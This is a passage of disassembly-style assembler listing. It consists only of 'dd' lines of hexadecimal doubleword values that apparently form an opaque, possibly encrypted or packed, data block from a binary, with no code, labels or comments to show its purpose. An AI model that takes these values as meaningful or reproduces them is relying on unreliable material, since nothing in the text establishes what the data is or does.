		dd 734B6DCFh, 92355BA5h, 4A2E41E0h, 0BDEBC2D0h,	9CDF5F20h
		dd 0BC148C1Eh, 2113E19Dh, 31B6213Bh, 33AB649Ch,	4E5B6FCAh
		dd 70364Dh, 0AE989503h,	0DA8045DBh, 0DD0610D8h,	1D0D0F77h
		dd 7575FAA9h, 0DEE5DB84h, 5EE77510h, 961D6375h,	0AC5A1E05h
		dd 0D154CA2Ah, 3001B2Ch, 0D0A1CBE9h, 2242BBBCh,	52DBD22Ah
		dd 36E2ECE4h, 0A94C9936h, 0FDCA58F3h, 2394312h,	0E034AFD3h
		dd 140ED122h, 27BD31Bh,	0C2BCF97Fh, 0A6C7E344h,	0C348C05h
		dd 19584246h, 0D2746EDAh, 3A9CD8AEh, 0AD6F60A4h, 4E1B7EE9h
		dd 4D1197D4h, 0AD6278D0h, 99FBACC5h, 0B07022E0h, 9C6520ECh
		dd 4A607E04h, 0B2A3E831h, 7CF26D0Ch, 0BA2F2A99h, 5F939113h
		dd 0F10BD84Ch, 499030F5h, 318C78D7h, 1BAC16C5h,	0D345CBE7h
		dd 0B821E9EAh, 0ECE98FBh, 51137C75h, 260FB7B9h,	326F0716h
		dd 29A023F7h, 4355A5BAh, 276727C9h, 886789E2h, 0A9D7E434h
		dd 3AEA993Bh, 0F3D9D61Bh, 0C84BC66Dh, 0A0E347D4h, 213F700h
		dd 53147AC9h, 910E2160h, 4F77BD84h, 57409C31h, 9F05FFDCh
		dd 0E8A1D09h, 0B9E0875Ch, 32627B75h, 2E46DC87h,	918F9386h
		dd 76A720F6h, 0F5F7C236h, 75987404h, 0C64D0A60h, 0BE4520ECh
		dd 0FBA424BEh, 5FA853AAh, 4CD14DB8h, 5C5646B9h,	0EE6DCD63h
		dd 7B25F74h, 0ED04CB72h, 95C3C506h, 6544725Eh, 0CB9131CBh
		dd 0B7AB7B20h, 1E2EC587h, 4490374Bh, 0B149DCEDh, 0DCA8F284h
		dd 589EA840h, 0DEBB307Bh, 18DE1902h, 0C0431222h, 44428048h
		dd 1BB885B6h, 336BC112h, 3314CC23h, 0C710B17Ch,	0C4823C32h
		dd 528DAA1Bh, 0A0A43056h, 7CBBEA1Ch, 75904DB6h,	0D987DE07h
		dd 0A5DF24D9h, 342315CAh, 65F70EF8h, 1FC514CFh,	0EB7C97A8h
		dd 0FFF98847h, 5FF072C4h, 1F05E4h, 6EDA329Ah, 8B4ED32Eh
		dd 83C721A9h, 0B77837Ah, 0AAD590F1h, 9CD4304Bh,	0AA309B9Bh
		dd 83EE6B5h, 691C167Ah,	25B22EC2h, 0D86D1BF2h, 20517BCBh
		dd 0FC9CD2C2h, 0D9118D0Dh, 0CE2FEDA5h, 17CCF0EDh, 0DF7F05EDh
		dd 0BD85B796h, 42487E3Ch, 0AE93031Ah, 0BD0BDF6Fh, 0AB2048A4h
		dd 380B6B8Bh, 0AA4437B0h, 81BE71A0h, 6329DBAh, 0F043133Bh
		dd 75364F6Eh, 0DEC87FD5h, 0D5E25D5Dh, 4FC4FFCBh, 4A35C14Ch
		dd 38665887h, 0FB93C8D0h, 2D760E9Fh, 7D904Bh, 0DB063C03h
		dd 80FE0B5Bh, 0BC4E9DC5h, 3EB795C8h, 0DA284Ch, 0B993EE12h
		dd 960917Ch, 0D04DFFCBh, 81BF3B5Bh, 0F345FAA1h,	710C5F8h
		dd 0E254B53Dh, 3F30AA18h, 0E41B1971h, 7D3A2E5h,	0CD7E2ABCh
		dd 25FBA72Ch, 59855C7Ah
		dd 70D9D0DDh, 0C6C0E499h, 151F5395h, 32FCED4Eh,	0E581A316h
		dd 1E4221B5h, 58BCCE89h, 0E1887D46h, 0CE755A9Eh, 7738FF0Fh
		dd 0BEDBE102h, 926A2487h, 56312F5h, 0B250B889h,	0A00251F5h
		dd 145A1D3h, 0BBEFBE2Dh, 0E0D61411h, 0F7370959h, 969DF661h
		dd 37D8778Eh, 0D6C60F44h, 7B54CF34h, 6A5F029h, 4093310Fh
		dd 2D86C86Dh, 0BD372510h, 0BBE3A7D1h, 0CB506F85h, 0F222E8B6h
		dd 8AD49D04h, 0F2A814B7h, 0ABDF2941h, 0F02B652h, 9393E47Dh
		dd 0E2E0ABh, 417EE68h, 9CC62A03h, 8E4D97B1h, 0D28C4A9Ch
		dd 0C7286A65h, 0B90FA13Ch, 0BDE0AE55h, 5BC342CEh, 0AD7E2DB9h
		dd 1256B34h, 12B75B4Ch,	8CDEE98h, 0B76067D1h, 57B04AABh
		dd 5F9D6E0Bh, 0E83EFF4Ch, 0C6EC0452h, 4C1BFB1Ah, 0D72AC433h
		dd 54A0837h, 86950A32h,	92A136D2h, 0BACAD3F6h, 2AACEEC3h
		dd 9E010B1Ch, 8F8EA288h, 903A1E7Ch, 0AB7DC498h,	7B411F46h
		dd 0EB592553h, 485F45AAh, 0A0C96139h, 5CC89487h, 0B042920Ah
		dd 0CFDDBC2Eh, 708BE4FBh, 6E77985Bh, 0E7461D2h,	0E8C0BE29h
		dd 2BBCCF57h, 0BAEA8111h, 496E5256h, 5D15091Eh,	0FDDB7DDFh
		dd 95E70D8Ch, 0C13911F1h, 1539C3ABh, 4AF8857h, 6D8A5CF1h
		dd 8F8787ADh, 0A89A22D7h, 646086EFh, 6A2922D1h,	48547F1Bh
		dd 0CAAC81D4h, 0DE4C1E75h, 6C0C3264h, 6FFD87F4h, 58EE6ACDh
		dd 0F50AC987h, 17DEC755h, 862B0202h, 389C285h, 123056D5h
		dd 4CFB614Fh, 9550FF67h, 0BAFFD89Ch, 2274616h, 5B20EE0Ah
		dd 4ED4EACDh, 0A5A3ACA9h, 978F0608h, 7D7C5CC0h,	0C4984995h
		dd 0E3112755h, 5467894h, 4279D83h, 0FC68559Ah, 4C9BFD4Ch
		dd 9CC4CC95h, 0F77EC4C6h, 0B7288632h, 6036A6C8h, 0C95AD067h
		dd 86FA31B2h, 80C2A68Ch, 0F93B412Bh, 34C6E913h,	0A3166982h
		dd 3593AE28h, 9C74FD77h, 7BC72D3h, 0EDFB804Ah, 759FDAAEh
		dd 47CFC974h, 45345ACCh, 2A60DDB2h, 1717A72Ah, 3E3CC8F1h
		dd 50B8D5CFh, 0A7B89150h, 3215FDD4h, 0DEB61474h, 8F235DB4h
		dd 240C8E0Fh, 0A201D992h, 0CD46F3C2h, 0FA3C539Eh, 0CBE961BAh
		dd 27AB41ACh, 42C29B23h, 48ED5FC3h, 0A82C4399h,	0CF21CEE1h
		dd 2FF5514Ah, 0E7E4B0A9h, 0BA950007h, 86CCEC9Ah, 0A59218DAh
		dd 0D2A7C1EDh, 0E52197F5h, 239B93E4h, 0E9022F67h, 539DF4E7h
		dd 6F584D56h, 0B2B9D84Ah, 13F56497h, 0BEC721F7h, 90025A00h
		dd 0E9DD24DDh, 9F635F2Ah, 1DD1F3C5h, 77C1FDC4h,	39A67B8h
		dd 4DDB494Ah, 0C24B1FB4h, 2B0F8D3Ch, 0A52A28B0h, 0BD0B9B8Dh
		dd 2A321C87h, 255379FEh, 0C2C17A74h, 1DE03825h,	31415EE6h
		dd 8436F19h, 0F4D53C3Bh, 0C1B94114h, 8A5BC3AAh,	9E8F63B0h
		dd 1A008152h, 3E482552h, 68959AAFh, 32EC1A85h, 0D42DF284h
		dd 2E3ACCB7h, 54127B16h, 0B7A8D449h, 0B68E33CBh, 5A62F4E2h
		dd 43496ACCh, 0D2E84266h, 0C4F9310Eh, 0F821DFB0h, 0A259062h
		dd 23A809CCh, 0E441D013h, 0B2FB34ABh, 0ADD16628h, 4DA7B546h
		dd 9F3D0008h, 0BA0FFB10h, 4FADC9B3h, 0A7C07A85h, 674978EEh
		dd 18510C18h, 236D1779h, 0BFAB03A6h, 0F381C758h, 495B37BAh
		dd 57CF380h, 0AB25F35Bh, 0E69A530Dh, 0FFCCD00Bh, 3528D382h
		dd 946DB2CFh, 301F39CEh, 0F5D1C4D9h, 0DB1BB480h, 9C9C125Dh
		dd 0D3F0C1E8h, 8057003Ch, 0C8378825h, 1FB81C21h, 0C584F496h
		dd 4B4678CAh, 0C06A4B87h, 101BE753h, 223F8590h,	0F77380D9h
		dd 0B4C30835h, 6BE1821Dh, 72000CA9h, 5D0FC9F8h,	7F56A18Dh
		dd 8E783981h, 3C477FF5h, 1A29A269h, 0E4FB451h, 65CC46D2h
		dd 94843B86h, 79B885F4h, 0EB0F98F9h, 89C1D85Ch,	8CE7498Ch
		dd 7CEF3DB3h, 5B4B3067h, 8FCED6CDh, 8B2D6227h, 0A499B32Bh
		dd 0E0F18D56h, 5703CAD3h, 4B4A8143h, 4A28BE15h,	0BA53C64Ch
		dd 8F389969h, 0C218349Bh, 435929D9h, 800C390Eh,	7A71F707h
		dd 2E7C1EFEh, 0E2461066h, 6B478530h, 13EE5D9Bh,	0D93AAA03h
		dd 1E35C4CFh, 50AEF7C5h, 0F06C2A9Ah, 0F1C0CB9Ch, 78BDD1A8h
		dd 516A4A39h, 0DA017221h, 0F420C19Ch, 0E2288455h, 0A6492725h
		dd 0C2CDB616h, 0DD206A84h, 0CB116D2Eh, 8EACDBFh, 9D4528E0h
		dd 0F9CC1C07h, 3AB66536h, 0B23B690Dh, 0AC2E4956h, 3FD83E20h
		dd 57F44EABh, 549B5795h, 8CA3027Ch, 95469F46h, 537F2EE3h
		dd 66B210F1h, 1F09AED3h, 0A7B883C4h, 6DFE93Bh, 47308CBBh
		dd 7BC1270Eh, 8BE7548Fh, 520FD5D1h, 31A36FBFh, 41BB1641h
		dd 522ACEF2h, 45B6E4A1h, 8228818Eh, 0EB7E3453h,	9D143021h
		dd 0A21E48BCh, 420ABC9Eh, 161A68A7h, 0B8C890F1h, 0B1B17B85h
		dd 14E285F2h, 47B8F1h, 4ABD0582h, 0B0480720h, 0FB262371h
		dd 392458EBh, 898A6D29h, 0D8A861CAh, 599A3C5Eh,	8721E9BCh
		dd 2B9057ADh, 1BADF596h, 0C635ABE3h, 0F335E622h, 8723E5E2h
		dd 0B186E1A7h, 0EF4C2AA0h, 882299D4h, 351C769h,	3645BF10h
		dd 7363B79Dh, 787A5A0Fh, 129A0668h, 2601D3CFh, 0DB1777F6h
		dd 8D7A754Ch, 8829A50Fh, 31509947h, 0ADE21EBDh,	78989679h
		dd 102DD1Dh, 0D0CE1414h, 0C5061FEh, 35A579CFh, 0D8702ED7h
		dd 5D3D4994h, 0EB3C39C0h, 0DAD297D5h, 21F11354h, 0F69A2684h
		dd 6332CA19h, 0A5B2DF7h, 0D0F1A3EAh, 95F59F93h,	3F921758h
		dd 7B83361Ch, 2346A256h, 2DB07C7Ah, 2945AEFDh, 0E85FB8D0h
		dd 0FA858556h, 55376F52h, 30264B68h, 0F7B28DCEh, 0EA5E825Bh
		dd 0D9E42BF8h, 0F46D5211h, 0DA6E4682h, 6E1946Ah, 4C5FFA56h
		dd 9F554344h, 46CC515h,	182BA1EBh, 84C5910Ch, 7859BE0Bh
		dd 4F4C26D9h, 201228D9h, 0A2B19B2Fh, 0F8C8B9E8h, 0EBA203A3h
		dd 0B8407AF5h, 8A809B39h, 0DBD59F61h, 105D3080h, 44703DCFh
		dd 0EC4837E0h, 48FB3132h, 78F92BDh, 0A44179B9h,	0B61B2D2Dh
		dd 0BB8248E3h, 74DAE7C1h, 7A74A366h, 83B5A54Fh,	7BC5CA2Ah
		dd 0E6B1C64h, 0B92A3DDAh, 0F3261253h, 0AD1B1822h, 0DA87EBD5h
		dd 0C6159BE9h, 97C79A0Bh, 45802407h, 283B4432h,	0B484D911h
		dd 0D0125268h, 6F190401h, 0E613A1EFh, 0B0092FC7h, 8465AC95h
		dd 57680F31h, 18722E4Eh, 0A8B1A60Bh, 2C2EE264h,	8BCCAE95h
		dd 352F8D0Eh, 0DACA19Bh, 101F3FC6h, 88CEE24h, 0A726A273h
		dd 7D1A6B46h, 9571CFB3h, 4C316DCAh, 705ECBD4h, 0E7D1AE45h
		dd 0E3BC96F8h, 1918C677h, 0F0A1BDC4h, 0FFD54627h, 6F802FA1h
		dd 0E8F4B18Fh, 0A3EED52Eh, 0C7CCBDBDh, 0E6656565h, 6B021A6h
		dd 1AEE6F75h, 16D41448h, 0E39942C7h, 7BC09DC7h,	96ADCE3Bh
		dd 1977526Bh, 0CD28A21Bh, 0EE42783Bh, 46FED7F3h, 1954077Eh
		dd 50C0946Ch, 0EA8E27Eh, 0F1401F51h, 1CC300A5h,	4A15802Eh
		dd 0A9C169F0h, 0B43390E5h, 0D64669F6h, 0D1FC07ECh, 61E3306Eh
		dd 8CCE6A01h, 61855FC1h, 737397B1h, 0AFE30F1Bh,	6E41CFEFh
		dd 7EA05996h, 0BC25471Eh, 57A8E8F9h, 0FBD40340h, 6CBBD82Ch
		dd 0BD822698h, 5E6F6B3Bh, 87116BB2h, 0AE610AC1h, 5008F82Ah
		dd 5A5DCEF4h, 0D78941BAh, 0CE3F7017h, 0A3A4B15Fh, 0ABE3C0A2h
		dd 0B8952842h, 5A9E3D01h, 7DAAA243h, 68A1ABB3h,	0B63EFFDEh
		dd 2F21B17h, 75692282h,	5AA1C53Bh, 0FD50DB30h, 1C99740Bh
		dd 0BDA308A9h, 0E068DACBh, 8A9E7967h, 501363CDh, 4DA04009h
		dd 9B25FED3h, 51F516EEh, 88591F4Bh, 85F5228h, 0E03C8D50h
		dd 3BE26EC0h, 3EC0E3CEh, 2BD4C516h, 7FCDE2E2h, 326CCD06h
		dd 5804D77Ah, 6567305Ch, 94020154h, 12110ABAh, 86726211h
		dd 578CFC06h, 0DFE77773h
		dd 0D5436C78h, 416D860h, 3486D2C2h, 0B3A1A14h, 6B0CFA29h
		dd 165C3972h, 45FE7AB0h, 325EE16Dh, 58B93E9h, 0ECE77A3Bh
		dd 0BFE37627h, 0BCB5FD4h, 5B4A8C3h, 0AAF7FB3Eh,	0D910D2F5h
		dd 0C41A01E3h, 0DA16C342h, 9F5B14B5h, 51803EE0h, 0F4F9BC1Bh
		dd 0CF2363Dh, 14F43029h, 0B148E26Bh, 3B02CAFCh,	0DEE9DC4Ah
		dd 33564B2Bh, 0DFCB7806h, 0A886CC27h, 0E62751E7h, 0EEA6981Eh
		dd 4D0101A3h, 92BEF79h,	0D4B12573h, 9789E755h, 0BC8D0A55h
		dd 587600F2h, 0D947BF5Eh, 0C17E627Fh, 0CFFDD5C5h, 8D5FDB9Ch
		dd 0F948E4E6h, 0B1A90EF6h, 45D7E490h, 191900EEh, 376A68BEh
		dd 0B3A0CCA2h, 5FDE2DFDh, 7664BA18h, 4627453Dh,	37FDE835h
		dd 518D90Ch, 7659B9C5h,	1BEAFDD0h, 8B06A89Ah, 2D957817h
		dd 0C69417F3h, 0D6B286BBh, 0FFBFE6B9h, 0BF71CC7h, 0ED261FE6h
		dd 0D01B6694h, 1769FC37h, 26F79AB5h, 0E87D836Ch, 0D76EC768h
		dd 130C7E3h, 0CD900471h, 38F2E52Eh, 3C0B0191h, 13799CAAh
		dd 0CF331F39h, 866CB921h, 31E2C016h, 0EF402D78h, 6729F5ACh
		dd 0A48BB0BFh, 0C661106h, 0F2FCBCD6h, 99EB3ED8h, 0A2D2B217h
		dd 1FED4CF5h, 0B3763341h, 43FC3DABh, 5C1F85ECh,	90777F13h
		dd 39C324D0h, 44700C7Ah, 0C9C160FDh, 41E61CBDh,	22DF5FF2h
		dd 876B79C3h, 0E7A20150h, 8CF13326h, 3368FED7h,	0E6A85F88h
		dd 0EBB8B763h, 82E40BA2h, 44595160h, 95EEED53h,	5166AE21h
		dd 0E3BDA91Ah, 51B4A512h, 19083FC9h, 0A76728D4h, 970BF516h
		dd 4A551E5Eh, 0F2F45BCh, 0E5E27FFAh, 2065AC8Ah,	84AD8DADh
		dd 232629D8h, 0CED51F95h, 0E16C91B6h, 54F0777Fh, 73998A4Dh
		dd 688F3493h, 1FDE46C5h, 99547D41h, 0BA2C6386h,	0DB26743Bh
		dd 2C7EF48Eh, 0AE92615Dh, 2E80E476h, 107A0F27h,	0BC2DB677h
		dd 5E3C2F60h, 5E56A4CFh, 73C994DFh, 0AFFA1723h,	2348845Ch
		dd 0B55E608Ch, 4D67AEA3h, 0F3D9F4BFh, 4AAF2BF5h, 23FF5111h
		dd 366FB2B9h, 0DB135348h, 869DCF39h, 1D229DEFh,	365CE756h
		dd 7670EECh, 270BA7AFh,	3237D903h, 0C07D0435h, 31A94AA5h
		dd 4A06539Ch, 0B7E3B82Dh, 0C54771FCh, 0D3DEC0D1h, 75FC3BEAh
		dd 285A47EAh, 45699596h, 97EC35ADh, 2CFD0269h, 3328AC14h
		dd 0BECC1DDDh, 0C86FD80Dh, 0B08CD613h, 72DDAFB6h, 565CED9Dh
		dd 51BDC4E4h, 7D44CD91h, 0A745E497h, 0EB1A1976h, 7D3B5832h
		dd 17A207C6h, 0B86A5BDCh, 61A794C8h, 28882C7Bh,	41E243A5h
		dd 0E94E2F28h, 80D11F7Bh, 27AE5DC5h, 626E2602h,	0B36D4FC4h
		dd 0CF21BC7Eh, 97F400A8h, 6F33482Fh, 7A5FAAB2h,	0CEA1FC0Fh
		dd 2284D540h, 0C45F2B02h, 0FDD2A805h, 0FAC3A3DCh, 0BD6C03FBh
		dd 4D0AABDAh, 3EE0E96Dh, 54A21F45h, 7693F0AAh, 73E99915h
		dd 9D1DCE1Dh, 0A63E003Fh, 0B2CA1AAFh, 27A6697Fh, 7E183398h
		dd 712C0270h, 0F5133CDAh, 0C5694D4Dh, 0E2FDFAFFh, 0C7240F5Eh
		dd 6610317Bh, 8D2082A9h, 84BBD841h, 0E0038A1Dh,	0AA671DEh
		dd 0B5B428F2h, 4949C4EBh, 50803AAh, 41E81C59h, 0BFBA8D2Dh
		dd 4475B8D7h, 0C58D2A44h, 56AEBEE9h, 0BD0F5C05h, 56D2EE9Eh
		dd 82AC3E37h, 95607C81h, 0BBC7B244h, 6CB7C682h,	778AC50Bh
		dd 0D9674F09h, 54CE944Fh, 0CF97CF90h, 5C88A29Ch, 440B2BAh
		dd 677F96B3h, 0E29D444Eh, 0CD30067Ah, 0D7772BE6h, 7BBDC037h
		dd 0FA7463ABh, 0A83A0D6Ch, 0CC378A56h, 20A01A3Eh, 1C464BB2h
		dd 255F9F69h, 43A7D2D5h, 1DF7A7Dh, 0A7206920h, 0C7B969C9h
		dd 663E9C83h, 8A2D23D6h, 4A3C9451h, 0EE0BADE1h,	4E0039EEh
		dd 736FFBA6h, 0B0AB6B8Bh, 0B27A8855h, 0FBF9DD75h, 6F1FB610h
		dd 0D101FBE5h, 0E685DF08h, 3CE46024h, 371EAA5Ch, 420F2305h
		dd 47AD4B02h, 137E42C1h, 30796AECh, 63E91CBCh, 761A2852h
		dd 1CA3DD80h, 3C1E726Ch, 0BDBA2CBEh, 0FD562567h, 2D3B04D8h
		dd 22C6392h, 4419B760h,	5ACA9158h, 0DF30DBDFh, 160EA47Eh
		dd 4D00D2D3h, 0A67E7EC5h, 0F397DD00h, 0FB2E91E8h, 0F86A68E8h
		dd 0AF3A6C94h, 859C0E3Ah, 53FD2B3Bh, 0B142C49Ch, 56C6BA2Ch
		dd 4466CAAh, 115616FDh,	0E43F2032h, 67428D3Ah, 959B7729h
		dd 0DCA74930h, 75A3C900h, 4A5D8541h, 0E32BD2EFh, 0DB5ECE7Fh
		dd 7DECE8AFh, 2CF49D21h, 0A7971BA1h, 1ABB1F9Fh,	17D1940h
		dd 0E52B3D89h, 8633456Ah, 92162F83h, 0A4E5FBB3h, 0A3D17B8Ah
		dd 53DB289Bh, 0C394B80Eh, 4756B1D3h, 762FBE38h,	0E9E0E5B8h
		dd 0C2349763h, 1C512EBEh, 0F922FC0Dh, 5F6CCEAEh, 633F4AE3h
		dd 1249E27Bh, 0A72A1084h, 6BAE5DDDh, 0FB57CCBDh, 3A959BF8h
		dd 7A10C811h, 809845D4h, 0CA3EBA09h, 3023FEBDh,	4C545E2Eh
		dd 896142B9h, 0CF5FCAB5h, 4A3762F5h, 634F4B5Dh,	88A234CAh
		dd 83DAA428h, 43BA189Fh, 0DC0D23D2h, 8C5B9BFBh,	2B294871h
		dd 347144EAh, 660C5871h, 0DEBF9148h, 9C692EB4h,	6CA7958Eh
		dd 0CDADD7E9h, 8036A04Ch, 0B570BD4h, 0A5FBFD2h,	3CE96F55h
		dd 9ADE594Ah, 0EB3675A1h, 78EEFDBAh, 0B0B9E8B4h, 5D2952C1h
		dd 1CF9ABAh, 0CDFF2E7Ah, 7C25D949h, 6738670Bh, 0ED1433BCh
		dd 0B63150ACh, 0DA45AABAh, 0EC040115h, 624D46EAh, 6CF97FCCh
		dd 0E6B15778h, 9849C716h, 9425EAA1h, 0B6B67A59h, 6B2B9FF7h
		dd 5D75A909h, 497D67F8h, 6A274043h, 540BEE70h, 6A3DB765h
		dd 337CA7DBh, 69FC119Eh, 43B1CB23h, 0CEB33CDFh,	4AA79893h
		dd 0B7F12826h, 0D5C588Fh, 3AE1BF7Dh, 25D2F0E3h,	0C0941AE1h
		dd 0CE2AC335h, 0EED1EDACh, 0DFE69B96h, 6C91643Ah, 0C7D4DFAFh
		dd 0CDCB1D86h, 3E7D9CF8h, 7D7CB17Ch, 95F15773h,	2A309327h
		dd 525D205Fh, 0BEB5284h, 0A67A7517h, 242CF084h,	0FC71E256h
		dd 8E24D54Ch, 1EA0F5D3h, 15C12663h, 18A71BBh, 40B7BBA6h
		dd 4B7C8860h, 0F45AF8F9h, 0D418488Ah, 53A68AD6h, 7CB47290h
		dd 0DA28AD8Ch, 92735E9Ah, 2E66D6F4h, 9B2ADE3Ch,	0EB66BF4Eh
		dd 0BCB2A964h, 0C5653EDAh, 547EDF9h, 0A73E20EAh, 6A538CE4h
		dd 0CFB62171h, 9178916Ah, 4BDC0F0Ah, 89431488h,	0B7786245h
		dd 4B991F17h, 5818A320h, 17FF08F5h, 76312B32h, 0CD17EB41h
		dd 8899C489h, 49189DFCh, 0BC26950h, 0F74B6A6Bh,	29232F78h
		dd 6CB4FD9Ah, 751E79B6h, 0F9262B0h, 5A0F1DE0h, 337720AAh
		dd 29E803B1h, 7ACB4884h, 0DD1E03E1h, 25A67B2Dh,	79741788h
		dd 9D97D3B4h, 7D692D80h, 2CC16BAAh, 953AECCDh, 4DBAB9BAh
		dd 1B82CB96h, 13852D29h, 0AC27646Bh, 0CD1DE826h, 358E1AC4h
		dd 482CBC49h, 0F9F333CFh, 2365411Ah, 1818FACAh,	533D4367h
		dd 38AABF2Fh, 0AA6F43C7h, 0E945EEF4h, 35AB54E5h, 14E59318h
		dd 105A7C7Ah, 8FE4A482h, 8A687559h, 1C421A5Bh, 0E7243931h
		dd 87FF08A8h, 0AF5EC990h, 0A28114FDh, 4CBC53BAh, 45393681h
		dd 0E4C91759h, 27CBA171h, 68EB1CB1h, 0FDD5735Ah, 0CB31BAB6h
		dd 8BF5BBA7h, 775410AFh, 62F626BAh, 0F5D639CEh,	0C578B325h
		dd 0BF4C12DFh, 1F0B6CD0h, 0D7A4977Fh, 54626CB5h, 0B9554082h
		dd 0F2E95D45h, 0EE370EBEh, 17A4E454h, 2663D390h, 139C5E73h
		dd 4C97BD68h, 9B74D9BEh, 84038575h, 3FFCEDEEh, 0E470E805h
		dd 3C2B1FDBh, 0E915F908h, 988FD485h, 0C277F0EDh, 2D651488h
		dd 9CB82091h, 0F6DAAD53h, 0A08AF4A6h, 850C8D47h, 0CC454FC8h
		dd 633DD54Bh, 3A995739h, 8F2EB1D0h, 79CE5E40h, 3272887Dh
		dd 9C19C819h, 65BEC01Bh, 4B033063h, 9264A068h, 0B8F79CC0h
		dd 90F2EF56h, 37CB1D73h
		dd 0EB354368h, 0E8AF948Ah, 48BC612Fh, 0A82926F3h, 8FBEE286h
		dd 0D7536B12h, 34B0024h, 7128213Dh, 95EBAFEDh, 8527BF13h
		dd 0A2D1D8BDh, 179A61C8h, 92553D11h, 7AC90D9Ah,	0C4601450h
		dd 0AF668386h, 63483721h, 0E43788F5h, 0BB8C3CBAh, 88BA1337h
		dd 0FDE92FBh, 8AE0B022h, 0D5434EAAh, 867381F9h,	147941BEh
		dd 5986EDFBh, 0DDDE3F33h, 3B77130Fh, 8175C5C8h,	6BBF1F82h
		dd 1352A962h, 261EF3F2h, 64DB79C3h, 65FE6577h, 8378B575h
		dd 22169671h, 6F0EEBD9h, 2BC9774Fh, 279D54F6h, 40125323h
		dd 0C8A39751h, 0E6453FEEh, 45CFCB4Dh, 8DB11DC7h, 2F9D13EFh
		dd 0CA49DAACh, 0DF1C551Fh, 6EAB5B6Fh, 0FE2C3828h, 0C9C9EACAh
		dd 6D54FF04h, 0E57A6A41h, 0EB06F98Ch, 0C007245h, 688EAAF7h
		dd 0D5B85C67h, 6EEDE843h, 279C6F5Fh, 568E8C74h,	35E08FEFh
		dd 7B812618h, 0FF19594Bh, 0DAE3F55Dh, 6ED519CEh, 7A0CA04Bh
		dd 0D9EFD66Eh, 4539007Bh, 0E2B6719Dh, 45D0991Ah, 0ABBB10C6h
		dd 86B3C3Dh, 938B1D32h,	479D3526h, 0C27CF5A3h, 0A78875EEh
		dd 0A2116A64h, 0EBC3ECA3h, 24B08BCEh, 6270C844h, 8DFEA56Eh
		dd 7A2146E4h, 2E9A1530h, 6FF5933Fh, 2FB28592h, 1D07EDAEh
		dd 1FF6362Bh, 31156CF6h, 0AC9D5044h, 49DFC012h,	0CD9D77EDh
		dd 8B991FEh, 691F789h, 85A161FAh, 926DA75Eh, 57DDB837h
		dd 3AE6FA94h, 6C61532h,	0EC963D57h, 2E4A25B0h, 4DFE81ABh
		dd 90E9A1D4h, 0C1B4E53Ch, 4A1115ACh, 66B102A8h,	2613BA2Eh
		dd 866C1A7Dh, 43F32B4Fh, 2A934B69h, 8FA048A6h, 0FFCAADABh
		dd 0B6CD0012h, 97BF2DCEh, 0EC9B6BD0h, 6E2799F4h, 8FB82E3Bh
		dd 22AF8139h, 0D1DCC769h, 0A6107B69h, 42399CE0h, 0C75586F0h
		dd 0DB3CC090h, 350E5110h, 722E9043h, 43D2C0BBh,	9701723Ch
		dd 0C2AB904Fh, 0FE2DFB7Fh, 7DB44D66h, 1C2D8437h, 0A0B032CCh
		dd 103E9AFAh, 47EE29D3h, 2D4D794h, 7C297360h, 622420Eh
		dd 0FE02B735h, 0AE77FCCh, 90EC43AAh, 3F89C327h,	8106191Bh
		dd 4FB3BA72h, 4D3508B7h, 0FA3775E7h, 73435058h,	0F96CA659h
		dd 0A2F5F836h, 743BD5E1h, 41281F1Fh, 56A525D2h,	0E487297Bh
		dd 45C25948h, 317517C7h, 3E7E0A91h, 0DC72CBD5h,	0D7610BC8h
		dd 38C0A356h, 4E3AE25h,	2B4202EAh, 0F4CCE47Ch, 0E59E9EAAh
		dd 7A837CE0h, 2C622521h, 0A09A44E7h, 68A89D1Bh,	9D645623h
		dd 27C3F60h, 7E490D6Dh,	573BA2DAh, 72114613h, 55666A61h
		dd 3E0C28EBh, 1221788Dh, 3B7E8260h, 13DC50FAh, 8679A612h
		dd 0E4944CDAh, 0EF777EBh, 21D7AB95h, 0C1DAA178h, 352D50E0h
		dd 0A2DE98C4h, 0E6F4686Fh, 3FBBF70Eh, 0A07EE968h, 43943B17h
		dd 0A190E34Ch, 19BC37CFh, 0A98EB2EAh, 4C1C52DAh, 95AED449h
		dd 0EF333D15h, 0CA373741h, 4AC025B2h, 966AF734h, 0DC7067A8h
		dd 3A2CDE99h, 6DE239A7h, 59FFFC70h, 8F27101Dh, 0D851753Eh
		dd 0ADAC3102h, 7A6A4469h, 0CFA0364Fh, 48CF5143h, 6AB5C335h
		dd 0EDB5B68Bh, 0CC15BE59h, 3A6929F9h, 95F87078h, 4B4CAC2Dh
		dd 77F9F92Eh, 6DD4C2F2h, 1F77E185h, 8F89FBB8h, 0D1790AE1h
		dd 0AEEB4F4Bh, 22BF3662h, 1C1B9343h, 42698175h,	463F7B2Eh
		dd 3BDEB47Ah, 0FB3618C9h, 680BF2C5h, 6CC02244h,	0A3352821h
		dd 85BB4B6Eh, 7495A95Bh, 56AC5211h, 54A953B7h, 0E3D4704Eh
		dd 0C3D77A3Ch, 0EB13E25Ah, 96DFA4B5h, 0D19BEE72h, 89C12D91h
		dd 54037112h, 0E6D58E8Fh, 0F758FD09h, 6C11291Dh, 384DB174h
		dd 43D31306h, 3E972ACFh, 8F7AB316h, 0B7D65350h,	0F76F5E17h
		dd 0D5B6F862h, 0FA0D455Fh, 37203DAAh, 0C017D2E6h, 57B8C774h
		dd 80111FCEh, 92EE0707h, 415E0151h, 0A5EA7475h,	0F5726EEAh
		dd 6C8BAEBh, 5C67D39Eh,	0C6350813h, 0A19C360Ch,	4CD032ADh
		dd 0AD84ABAEh, 1A1C6E31h, 196B42E8h, 0F5409174h, 0D285017Eh
		dd 0BD3BA69Ah, 0E7A7F701h, 0BC96673h, 117E7FB8h, 127067BDh
		dd 0A944A026h, 5D75C8FFh, 8FC15211h, 0C3E355F3h, 0BC0AEDB0h
		dd 18FA63AFh, 0EAF78BEAh, 6B5F0542h, 6F0E5306h,	1D355E29h
		dd 8D674C1Ah, 0CCCF2A35h, 3850B18Bh, 0C89850F4h, 8069D4FAh
		dd 1D979ED1h, 869B5489h, 0A779E626h, 192AF22Bh,	0AB414711h
		dd 12AAFE0Ch, 3F53808Dh, 65FBD2BFh, 0A0B58533h,	287DFE28h
		dd 34DC6821h, 0C60C47BFh, 2BE8EC8Eh, 0FA735FA8h, 0E617267h
		dd 6A89EEC9h, 54A5BC92h, 656DD31Ch, 46819634h, 97B3A1AFh
		dd 85F0E172h, 2BF7B7E5h, 2C2ABF70h, 29A89E89h, 0CE1F04C2h
		dd 30AC64B8h, 4E05C85Ah, 0E3AD1C8Ch, 489E5DBEh,	8074D0Ch
		dd 0CC51DF28h, 77A19A00h, 0DB7A06C8h, 0B6423FD3h, 4674470Ah
